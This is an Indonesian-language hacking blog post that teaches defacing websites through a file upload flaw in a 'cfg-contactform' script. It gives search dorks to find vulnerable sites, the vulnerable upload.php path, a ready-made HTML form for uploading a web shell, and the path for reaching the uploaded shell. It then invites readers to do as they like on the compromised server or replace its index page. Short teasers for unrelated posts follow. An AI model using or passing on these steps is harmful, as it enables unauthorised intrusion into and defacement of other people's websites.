Skip to main content

eXploit CFG-CONTACTFORM VULNERABILITY FILE UPLOAD

By
Hello World; Pagi Fans, Please Say Hello Haters :*
yoeeh Gengs, Lanjut lagii Walking Blog :D ,karna ini hari sabtu, jadi Gua Post artikelnya pagi, karena Nanti malem mau malmingan gengs :'v wkkwkw.
Kali ini Nue akan Share Tutorial Deface dengan eXploit CFG-CONTACTFORM VULNERABILITY FILE UPLOAD.
Iseng2 Share eXploit Lawas, kali aja masih crootz xixixhihi, btw Sekalian nyicipin WebShell BACKBOX INDONESIA WEB SHELL V1.0 (BASED ON INDOXPLOIT SHELL) dari Kang hightech.


Play with Me , Baby <3


Dork:
"/cfg-contactform-1/" 
"/cfg-contactform-2/"
(Selebihnya kebangin lg menggunakan imajinasi vokepers kalian, biar dpt yg vuln n verawan)

# Disini exploitnya tergantung contact form yg keberapa mas bro,
/[path]/cfg-contactform-1/inc/upload.php

1. Dorking menggunakan Search Engine
2. pilih salah satu web yg pen ditusb0l, Lalu masukan exploitnya.
cth: target.coli/cfg-contactform-1/inc/upload.php

3. Vulnerability ~ {"filename":" -001."}



CSRF Upload:
<form enctype="multipart/form-data"
action="target" method="post">
<input type="text" name="folder" value="./" /><br />
Please choose a file: <input name="Filedata" type="file" /><br />
<input type="submit" value="upload" />
</form>
*copy CSRF Upload nya, edit dan masukan target lu di "target", save dgn ekstensi .html
*Lalu buka dgn browser

4. Lalu Upload Shell Lu, Jika sukses akan Muncul nama Shell Lu.


bukan tukang PhP kok girls :'v wkkw
5. Shell Akses:/[path]/cfg-contactform-1/upload/namashell.php
*trgantung Dork yg digunakan BossQ ;3



untuk code PHP disini 

Nah kalo dah masuk ke shell, seterah dah sobat mo apain, bedah isi ampe usus2nya kek.
kalo mau deface saya sarankan nitip file aja yak, kalo mau nebas index (JANGAN LUPA DI BACK UP DUANCOK :) )) 
Jadilah Dispenser yg Baik, saat anda berhasil MengEksploitasi suatu web, Usahakan laporkan Bug, dan kalo bisa sih bantu Patch secara Sukarela *Tetap hargai karya para WebMaster ;*

"Tidak semua website bisa di eksploitasi dgn teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Btw yuk up2date tentang TKJ Cyber Art, di Official Account Line Kami: http://line.me/ti/p/%40hjl8740i
*bebas utk bertanya *sharing bareng *kepo2deh akwkwa #joinUs
Mudahkan x_O ?
Stay Cool and Keep ./Crotz , gaes <(")


bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak. 
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Nue cuma niat untuk Share Tutorial, yg bertujuan utk membantu para pemula kek Nue :')
Happy Joomla Hacked~
Sekian dan semoga bermanfaat .. terimakasih

Source and thanks to:haurgeulis Security

./Nuenomaru


tidak perlu muncul ke permukaan , yang penting tetap bergerilya






Visit and follow :

FP         : TKJ Cyber Art
G+         : TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2
Line       : http://line.me/ti/p/%40hjl8740i
Labels:

Comments

Post a Comment

Popular posts from this blog

How to install CUCM 8.0.2 on Vmware | Call Manager Installation Guide

By
CUCM is a software-based call-processing component which serves as the main engine for Cisco VOIP infrastructure. This article can be used as a reference for your CUCM installation, This article can be used for any version of CUCM like 8.0, 8.6, 9.1 or 10.5. Let's jump to the installation directly. Make sure you have.. Before we begin, I want to make sure that you have the below softwares installed in your machine. Vmware Workstation Bootable Cisco Unified Call Manager ISO File GNS3 (Optional) - To Configure NTP Server A minimum of 2GB RAM and 80 GB HDD for Virtual Machine At this stage I assume that you have both Vmware Workstation and GNS3 installed. During installation you will be prompted to enter NTP server details. Follow the below steps to make a router to act as a NTP server in GNS3. Open ncpa.cpl from Run window. Find a Vmware network adapter. Double click the adapter and configure a private range IP, for example 120.0.0.1. Next open GNS3, Put a router and take console. Pa...
Post a Comment
Read more

6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly

By
Salam sobat GBX nah di pertemuan kita kali ini ane akan membahas 6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly seperti yang anda tau adf.ly adalah url shortener terbaik yang membayar kita karena telah menggunakan jasannya, tapi selain adf.ly ternyata masih banyak lagi Url Shorteners Yang Menghasilkan Uang, sekarang kita lihat saja ulasan di bawah.  6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly 1. Adfly adf.ly Yup yang ini memang patut diletakkan di peringkat satu ya, Adfly sudah ada dan terpercaya sejak bertahu-tahun lalu dan sudah menjadi pemendek link / url terbaik selama ini.  Selain menyediakan fasilitas penyingkat url, adfly juga merupakan situs penghasil dollar yang sudah sangat terkenal (melalui Pay Per Click dan Referal). Banyak juga teman-teman di internet yang sudah sukses mendapatkan dollar lho. (adfly ini sudah terpercaya dan ya semoga terus aman begitu dech). Komisi yang telah anda dapatkan dari adfly ini bisa langsung di transfer ke pay...
Post a Comment
Read more

Ethical Hacking - Cisco HSRP with Kali linux - Example Demonstration and Security precautions

By
The Hot Swappable Router Protocol (HSRP) is a way to build redundancy into your network by allowing two or more routers to continuously test each other for connectivity, and take over if a router fails.As multiple routers can participate in the HSRP group, there has to be an election to determine who's the primary router. This HSRP election is based on a priority value (0 to 255) that is configured on each router in the group. By default, the priority is 100. The router with the highest priority value (255 is highest) becomes the active router for the group. If all router priorities are equal or set to the default value, the router with the highest IP address on the HSRP interface becomes the active router. In this post, we are going to make our Kali machine a HSRP participant and to become the active router by setting the highest priority to it. Yersinia tool (in built in Kali) helps us to perform this test with ease. For more information on HSRP, please refer  RFC 2281 Yersinia Y...
Post a Comment
Read more